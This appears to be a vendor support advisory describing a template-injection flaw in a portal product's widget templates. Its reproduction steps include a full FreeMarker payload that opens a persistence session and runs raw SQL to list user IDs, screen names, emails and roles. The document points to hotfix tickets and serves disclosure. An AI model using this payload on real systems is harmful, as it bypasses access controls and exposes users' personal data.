Issue
- We've found an undesirable behvavior when using new widget templates on a page. When using the expandoColumnLocalService.CTPersistence.openNewSession(null) function, the the direct SQL query execution within the template itself, bypasses the standard access controls and exposes sensitive backend data.
-
Steps to reproduce:
- Design > Templates > Widget Templates > Blogs Template "Test Blog Template"
- Insert the following payload:
<#assign s = expandoColumnLocalService.CTPersistence.openNewSession(null)> <#attempt> <#list s.createSQLQuery("SELECT u.userId, u.screenName, u.emailAddress, r.name FROM User_ u LEFT JOIN Users_Roles ur ON u.userId = ur.userId LEFT JOIN Role_ r ON ur.roleId = r.roleId").list() as row> ID: ${row[0]} | Nome: ${row[1]} | Email: ${row[2]} | Role: ${row[3]!'-'} <br> </#list> <#recover> Error </#attempt>3. Pages > New > Insert "Blogs" Widget
4. Configuration > Display Blog Template > Select "Test Blog Template"
Observe that the IDs are populating on the page as shown in my screenshot.
Environment
- 2025.Q1
Resolution
- This undesirable behavior has been documented and fixed in LPP-59542. Please request a hotfix including the LPP.
- A fix is currently being addressed and worked on: LPD-61382.